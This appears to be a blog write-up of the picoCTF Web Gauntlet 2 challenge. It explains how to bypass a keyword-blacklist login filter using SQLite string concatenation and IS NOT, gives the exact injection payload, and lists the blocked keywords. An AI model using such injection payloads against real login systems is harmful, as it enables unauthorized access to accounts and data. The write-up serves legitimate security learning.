Blog section
PicoCTF

PicoCTF Web Gauntlet 2 Writeup: Bypassing a Stricter SQL Login Filter

A concise walkthrough for Web Gauntlet 2, using SQL string concatenation and boolean logic without blocked keywords.

Feb 18, 20243 min readAdapted from my picoCTF notes
PicoCTFWeb ExploitationSQL InjectionFilter Bypass

Web Gauntlet 2 continues the same theme as the first challenge, but the filter list is stricter. The challenge blocks many obvious SQL injection tokens, including or, and, true, false, union, comparison operators, comments, and the literal word admin.

Web Gauntlet 2 filter

Payload

The username avoids the literal admin string by concatenating two smaller strings:

Username: ad'||'min
Password: 1' IS NOT '2

That produces a query shape like this:

SELECT username, password
FROM users
WHERE username='ad'||'min'
  AND password='1' IS NOT '2'

The password clause uses IS NOT as a boolean comparison style that survives the filter.

Flag

Submitting the payload authenticates successfully and returns the flag page.

Authenticated result

Flag output

Key Takeaways

  1. Splitting blocked words can bypass naive string-based filters.
  2. SQL dialect details matter. SQLite concatenation and IS NOT give alternative ways to express the same intent.
  3. Strong defenses should use parameterized queries instead of keyword blacklists.